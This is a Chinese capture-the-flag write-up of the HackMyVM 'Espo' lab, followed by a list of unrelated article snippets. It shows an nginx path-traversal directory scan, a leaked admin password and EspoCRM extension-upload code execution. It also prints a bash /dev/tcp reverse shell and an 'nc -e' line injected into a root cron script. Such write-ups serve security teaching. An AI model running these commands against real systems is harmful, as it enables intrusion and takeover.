[HackMyVM]靶场 Espo

kali:192.168.56.104

主机发现

arp-scan -l
# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d2:e0:49, IPv4: 192.168.56.104
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:05       (Unknown: locally administered)
192.168.56.100  08:00:27:2a:a8:ba       PCS Systemtechnik GmbH
192.168.56.117  08:00:27:8a:f5:e6       PCS Systemtechnik GmbH

靶机:192.168.56.117

端口扫描

nmap 192.168.56.117
22/tcp open  ssh
80/tcp open  http

web界面就是一个登录界面

查了一下相关cve都需要登录才行

目录扫描

# gobuster dir -u http://192.168.56.117 -x html,txt,php,bak,zip --
...
/admin                (Status: 301) [Size: 162] [--> http://192.168.56.117/admin/]
/api                  (Status: 301) [Size: 162] [--> http://192.168.56.117/api/]
/client               (Status: 301) [Size: 162] [--> http://192.168.56.117/client/]
/index.php            (Status: 200) [Size: 2480]
/index.php            (Status: 200) [Size: 2480]
/install              (Status: 301) [Size: 162] [--> http://192.168.56.117/install/]
/portal               (Status: 301) [Size: 162] [--> http://192.168.56.117/portal/]
/robots.txt           (Status: 200) [Size: 26]
/robots.txt           (Status: 200) [Size: 26]

但是尝试发现都进不去

之类nginx有个目录穿越漏洞,该靶场的nginx版本没有修复这个漏洞

Nginx漏洞修复之目录穿越(目录遍历)漏洞复现及修复_目录遍历漏洞修复-CSDN博客

在admin后面加上../能穿越到上一级目录

但是用directory-list-2.3-medium.txt和common.txt  都不跑,换个字典

gobuster dir -u http://192.168.56.117/admin../ -x html,txt,php,bak,zip --wordlist=/usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
/admin                (Status: 301) [Size: 162] [--> http://192.168.56.117/admin../admin/]
/_oldsite             (Status: 301) [Size: 162] [--> http://192.168.56.117/admin../_oldsite/]
gobuster dir -u http://192.168.56.117/admin../_oldsite  -x html,txt,php,bak,zip --wordlist=/usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
/backup.zip           (Status: 200) [Size: 37975754]
/info                 (Status: 200) [Size: 540]

有个备份文件

在data/config.php文件发现账号密码

  'smtpUsername' => 'admin','smtpPassword' => '39Ue4kcVJ#YpaAV24CNmbWU',

登录成功就可以利用CVE了

web源码里面显示2022,所以我就找2022及以后的cve

看到了两个可以任意命令执行的,是通过上传拓展的zip实现

cve-2023-5966/Weaponized_Extension.zip at main · pedrojosenavasperez/cve-2023-5966 (github.com)

在github上面搜到这个exp,不过里面好像有个脏东西

它把/etc/passwd发到了一个恶意网站...好像跟RCE没什么关系

把他删了,然后上传到espo

反弹个shell

bash -c 'bash -i >& /dev/tcp/192.168.56.104/4567  0>&1'
www-data@espo:/home/mandie$ ls -al                                                 
ls -al
total 48
drwxr-xr-x  6 mandie mandie 4096 Mar 10 05:16 .
drwxr-xr-x  3 root   root   4096 Jan 24 19:01 ..
lrwxrwxrwx  1 root   root      9 Jan 26 19:39 .bash_history -> /dev/null
-rw-r--r--  1 mandie mandie  220 Dec  4 15:42 .bash_logout
-rw-r--r--  1 mandie mandie 3526 Dec  4 15:42 .bashrc
drwxr-xr-x  3 mandie mandie 4096 Dec  4 15:42 .local
drwxr-xr-x 12 mandie mandie 4096 Dec  4 15:42 .oh-my-zsh
-rw-r--r--  1 mandie mandie  807 Dec  4 15:42 .profile
-rw-r--r--  1 mandie mandie 3890 Dec  4 15:42 .zshrc
-rwxr-xr--  1 mandie mandie  493 Dec  4 15:42 copyPics
drwxr-xr-x  2 mandie mandie 4096 Mar 10 05:16 pictures
-rwx------  1 mandie mandie   33 Jan 24 19:01 user.txt
drwxr-xr-x  2 mandie mandie 4096 Mar 10 05:16 videos

mandie目录下有user.txt但是权限不够,而且有个奇怪的可执行文件copyPics

用pyps64看一下进程

2024/03/10 05:27:01 CMD: UID=0    PID=3074   | /usr/sbin/CRON -f 
2024/03/10 05:27:01 CMD: UID=0    PID=3073   | /usr/sbin/cron -f 
2024/03/10 05:27:01 CMD: UID=0    PID=3075   | /usr/sbin/CRON -f 
2024/03/10 05:27:01 CMD: UID=0    PID=3076   | /usr/sbin/CRON -f 
2024/03/10 05:27:01 CMD: UID=1000 PID=3077   | /bin/sh -c /home/mandie/copyPics 
2024/03/10 05:27:01 CMD: UID=0    PID=3078   | /bin/sh -c cd /var/www/html; /usr/bin/php -f cron.php > /dev/null 2>&1 
2024/03/10 05:27:01 CMD: UID=1000 PID=3079   | /bin/bash /home/mandie/copyPics 
2024/03/10 05:27:01 CMD: UID=1000 PID=3080   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3081   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3082   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3083   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3084   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3085   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3087   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3088   | /bin/bash /home/mandie/copyPics 
2024/03/10 05:27:01 CMD: UID=1000 PID=3089   | /bin/bash /home/mandie/copyPics 
2024/03/10 05:27:02 CMD: UID=1000 PID=3090   | /bin/bash /home/mandie/copyPics 
2024/03/10 05:27:02 CMD: UID=1000 PID=3091   | /bin/bash /home/mandie/copyPics 
2024/03/10 05:27:02 CMD: UID=1000 PID=3092   | /bin/bash /home/mandie/copyPics 

发现是个定时执行的任务,一分钟执行一次,并且UID是1000,是mandie的权限,如果在脚本里面添加一条反弹shell的指令,我们就能拿到mandie的权限,但是发现无法编辑这个文件。

再看进程,发现

root权限执行力 cron.php,并且cron.php可编辑
 

-rw-r--r--  1 www-data www-data  1531 Dec  4 15:42 cron.php
echo "system('nc -e /bin/bash 192.168.56.104 4567');"  >>cron.php
# nc -lvnp 4567
listening on [any] 4567 ...
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.117] 36354
whoami
root

拿到root权限

好像直接越步了,无所谓,照样能拿到user和root

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/736565.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

openAI key 与ChatGPTPlus的关系,如何升级ChatGPTPLus

一、前言 先详细介绍一下Plus会员和Open API之间的区别: 实际上,这两者是相互独立的。举例来说,虽然您开通了Plus会员,并不意味着您就可以使用4.0版本的API。尽管这两个账户可以是同一个,但它们是完全独立的平台。 …

小程序设备控制API能力汇总——DP相关API

ty.device.publishDps 下发 DP 功能点 需引入DeviceKit&#xff0c;且在>1.2.6版本才可使用 请求参数 Object object 属性类型默认值必填说明deviceIdstring是设备 iddpsRecord<dpId, any>是dpsmodenumber是下发通道类型 0: 局域网 1: 网络 2: 自动pipelinesArray&…

rocketmq学习笔记(一)安装部署

初次使用rocketmq&#xff0c;记录一下全流程步骤。 1、下载安装包 首先在官网&#xff0c;下载安装包&#xff0c;可也根据官方文档进行部署&#xff0c;但有一些细节没说明&#xff0c;可能会有坑&#xff0c;本文会尽量详细的描述每个步骤&#xff0c;把我踩过的坑填补上。…

后端八股笔记------Redis

Redis八股 上两种都有可能导致脏数据 所以使用两次删除缓存的技术&#xff0c;延时是因为数据库有主从问题需要更新&#xff0c;无法达到完全的强一致性&#xff0c;只能达到控制一致性。 一般放入缓存中的数据都是读多写少的数据 业务逻辑代码&#x1f447; 写锁&#x1f4…

[BT]小迪安全2023学习笔记(第20天:Web攻防-PHP特性)

第20天 和 &#xff08;等值比较&#xff09; 当使用 操作符时&#xff0c;PHP将进行宽松比较&#xff0c;也就是说&#xff0c;只比较两个值的等价性&#xff0c;而不考虑它们的类型。 如果两个值类型不同&#xff0c;PHP会尝试将它们转换成相同的类型&#xff0c;然后再进…

基础 | JVM - [指令 性能监控]

INDEX jps&#xff08;jvm 进程工具&#xff09;jinfo&#xff08;java 配置信息工具&#xff09;jstack &#xff08;查看虚拟机栈信息&#xff09;jmap&#xff08;jvm 内存影像工具&#xff09;jstat&#xff08;jvm 统计信息监控工具&#xff09;jvisualvm&#xff08;查看…

【NR 定位】3GPP NR Positioning 5G定位标准解读(十)-增强的小区ID定位

前言 3GPP NR Positioning 5G定位标准&#xff1a;3GPP TS 38.305 V18 3GPP 标准网址&#xff1a;Directory Listing /ftp/ 【NR 定位】3GPP NR Positioning 5G定位标准解读&#xff08;一&#xff09;-CSDN博客 【NR 定位】3GPP NR Positioning 5G定位标准解读&#xff08;…

对比才有伤害!ChatGPT 4.0 VS Claude 3,这就是ChatGPT偷懒变慢的根本原因!附解决方案

大家好&#xff0c;我是木易&#xff0c;一个持续关注AI领域的互联网技术产品经理&#xff0c;国内Top2本科&#xff0c;美国Top10 CS研究生&#xff0c;MBA。我坚信AI是普通人变强的“外挂”&#xff0c;所以创建了“AI信息Gap”这个公众号&#xff0c;专注于分享AI全维度知识…

算法D38 | 动态规划1 | 509. 斐波那契数 70. 爬楼梯 746. 使用最小花费爬楼梯

理论基础 无论大家之前对动态规划学到什么程度&#xff0c;一定要先看 我讲的 动态规划理论基础。 如果没做过动态规划的题目&#xff0c;看我讲的理论基础&#xff0c;会有感觉 是不是简单题想复杂了&#xff1f; 其实并没有&#xff0c;我讲的理论基础内容&#xff0c;在动…

每日一练:LeeCode-56、合并区间【数组+滑动窗口】

4.合并区间 LeeCode-56、合并区间 以数组 intervals 表示若干个区间的集合&#xff0c;其中单个区间为 intervals[i] [starti, endi] 。请你合并所有重叠的区间&#xff0c;并返回 一个不重叠的区间数组&#xff0c;该数组需恰好覆盖输入中的所有区间 。 1 < intervals.le…

GitLab 的具体步骤

安装操作系统&#xff1a;选择适合的操作系统&#xff0c;如 Linux、Windows 等。配置服务器&#xff1a;安装必要的软件和服务&#xff0c;如 Web 服务器、数据库等。安装 GitLab&#xff1a;使用官方安装包或自行编译安装&#xff0c;根据提示进行安装。配置数据库&#xff1…

Math类 --Java学习笔记

Math 代表数学&#xff0c;是一个工具类&#xff0c;里面提供的都是对数据进行操作的一些静态方法 Math提供的常用方法

C语言分析基础排序算法——交换排序

目录 交换排序 冒泡排序 快速排序 Hoare版本快速排序 挖坑法快速排序 前后指针法快速排序 快速排序优化 快速排序非递归版 交换排序 冒泡排序 见C语言基础知识指针部分博客C语言指针-CSDN博客 快速排序 Hoare版本快速排序 Hoare版本快速排序的过程类似于二叉树前序…

安卓玩机工具推荐----MTK芯片读写分区 备份分区 恢复分区 制作线刷包 工具操作解析

安卓玩机工具推荐----高通芯片9008端口读写分区 备份分区 恢复分区 制作线刷包 工具操作解析 安卓玩机工具推荐----ADB状态读写分区 备份分区 恢复分区 查看分区号 工具操作解析 前面做了两期教程。分别解析了下ADB端口与高通9008端口备份分区一些基础的常识&#xff0c;那么…

【探索程序员职业赛道:挑战与机遇】

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学习,不断总结,共同进步,活到老学到老导航 檀越剑指大厂系列:全面总结 jav…

经典面试题HTTP请求主要有以下几种方式

GET&#xff1a;用于请求服务器发送指定资源。GET请求通常用于获取信息&#xff0c;而不会对资源进行修改&#xff0c;因此它是幂等的。 POST&#xff1a;用于向服务器提交数据&#xff0c;通常用于创建新资源或更新现有资源。POST请求不是幂等的&#xff0c;因为它可能会多次…

EMC技术:基础概念到应用的解读?|深圳比创达电子

电磁兼容性&#xff08;Electromagnetic Compatibility&#xff0c;简称EMC&#xff09;作为一项重要的技术领域&#xff0c;在现代电子设备中扮演着至关重要的角色。本文将从基础概念开始&#xff0c;逐步深入探讨EMC技术的原理、应用和意义。 一、EMC的基础概念 EMC是指电子…

ELFK 分布式日志收集系统

ELFK的组成&#xff1a; Elasticsearch: 它是一个分布式的搜索和分析引擎&#xff0c;它可以用来存储和索引大量的日志数据&#xff0c;并提供强大的搜索和分析功能。 &#xff08;java语言开发&#xff0c;&#xff09;logstash: 是一个用于日志收集&#xff0c;处理和传输的…

收割机案例-简单的动态规划

#include<iostream> using namespace std; // 创建土地 short land[32][32]; short n,m;// 实际使用的土地大小 short landA[32][32];//用A收割机收割数量记录 short landB[32][32];// 用B收割机收割数量记录 int main(){cin>>n>>m;// 存储农作物产量for(sho…

LeetCode:猜数字游戏

解决方案的性能&#xff1a; 时间复杂度&#xff1a;O&#xff08;n&#xff09; 题目描述&#xff1a; 写出一个秘密数字&#xff0c;并请朋友猜这个数字是多少。朋友每猜测一次&#xff0c;你就会给他一个包含下述信息的提示&#xff1a; 猜测数字中有多少位属于数字和确切…